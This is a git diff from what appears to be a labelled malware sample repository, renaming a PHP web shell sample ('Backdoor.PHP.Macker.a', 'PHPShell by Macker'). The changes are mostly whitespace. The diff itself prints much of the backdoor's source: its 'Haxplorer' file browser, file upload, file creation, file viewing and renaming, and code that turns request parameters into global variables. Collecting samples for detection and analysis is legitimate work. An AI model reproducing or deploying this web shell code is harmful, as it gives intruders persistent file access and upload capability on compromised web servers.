diff --git a/PHP/Backdoor.PHP.PhpShell.l b/PHP/Backdoor.PHP.Macker.a similarity index 97% rename from PHP/Backdoor.PHP.PhpShell.l rename to PHP/Backdoor.PHP.Macker.a index b372b0bb7275acd2f5af6400f000045820055ffe..797a4133fc29783c160da707ea1b724db952e4dd 100644 --- a/PHP/Backdoor.PHP.PhpShell.l +++ b/PHP/Backdoor.PHP.Macker.a @@ -42,24 +42,26 @@ $scriptTitle = "PHPShell"; $scriptident = "$scriptTitle by Macker"; $urlAdd = ""; -$formAdd = ""; +$formAdd = ""; function walkArray($array){ while (list($key, $data) = each($array)) if (is_array($data)) { walkArray($data); } else { global $$key; $$key = $data; global $urlAdd; $urlAdd .= "$key=".urlencode($data)."&";} } - + if (isset($_PUT)) walkArray($_PUT); if (isset($_GET)) walkArray($_GET); if (isset($_POST)) walkArray($_POST); - - $pos = strpos($urlAdd, "s=r"); -if (strval($pos) != "") { -$urlAdd= substr($urlAdd, 0, $pos); -} - $urlAdd .= "&s=r&"; - + + +$pos = strpos($urlAdd, "s=r"); +if (strval($pos) != "") { +$urlAdd= substr($urlAdd, 0, $pos); +} + +$urlAdd .= "&s=r&"; + if (empty($Pmax)) $Pmax = 125; /* Identifies the max amount of Directories and files listed on one page */ if (empty($Pidx)) @@ -476,9 +478,9 @@ if ( $cmd=="dir" ) { echo "<td NOWRAP align=\"right\" class=\"top right $tdcolor\" NOWRAP >\n"; $size = @filesize("$dir/$file"); If ($size != false) { - $filesizes += $size; + $filesizes += $size; echo " <strong>".formatsize($size)."<strong>"; - } + } else echo " <strong>0 B<strong>"; echo " </td>\n"; @@ -559,8 +561,8 @@ if ( $cmd=="dir" ) { } /* <!-- Other Actions --> */ echo "<tr><td class=\"silver border\"> <strong>Other actions: </strong> </td>\n"; - echo "<td> <b>".buildUrl( "| New File |", "cmd=newfile&lastcmd=dir&lastdir=$dir")."\n".sp(3). - buildUrl( "| New Directory |", "cmd=newdir&lastcmd=dir&lastdir=$dir")."\n".sp(3). + echo "<td> <b>".buildUrl( "| New File |", "cmd=newfile&lastcmd=dir&lastdir=$dir")."\n".sp(3). + buildUrl( "| New Directory |", "cmd=newdir&lastcmd=dir&lastdir=$dir")."\n".sp(3). buildUrl( "| Upload a File |", "cmd=upload&dir=$dir&lastcmd=dir&lastdir=$dir"). "</b>\n</td></tr>\n"; echo "<tr><td class=\"silver border\"> <strong>Script Location: </strong> </td><td> $PATH_TRANSLATED</td></tr>\n"; echo "<tr><td class=\"silver border\"> <strong>Your IP: </strong> </td><td> $REMOTE_ADDR </td></tr>\n"; @@ -760,12 +762,12 @@ elseif ( $cmd=="uploadproc" ) { /* <!-- Process Uploaded file --> */ echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\"></form></center>" ; echo "<br><br></td></tr></table></center>"; } -elseif ( $cmd=="file" ) { /* <!-- View a file in text --> */ +elseif ( $cmd=="file" ) { /* <!-- View a file in text --> */ echo "<hr>"; $fc = @file( $file ); while ( @list( $ln, $line ) = each( $fc ) ) { echo spacetonbsp(@htmlentities($line))."<br>\n"; } - echo "<hr>"; + echo "<hr>"; } elseif ( $cmd=="ren" ) { /* <!-- File and Directory Rename --> */ if (function_exists('is_dir')) {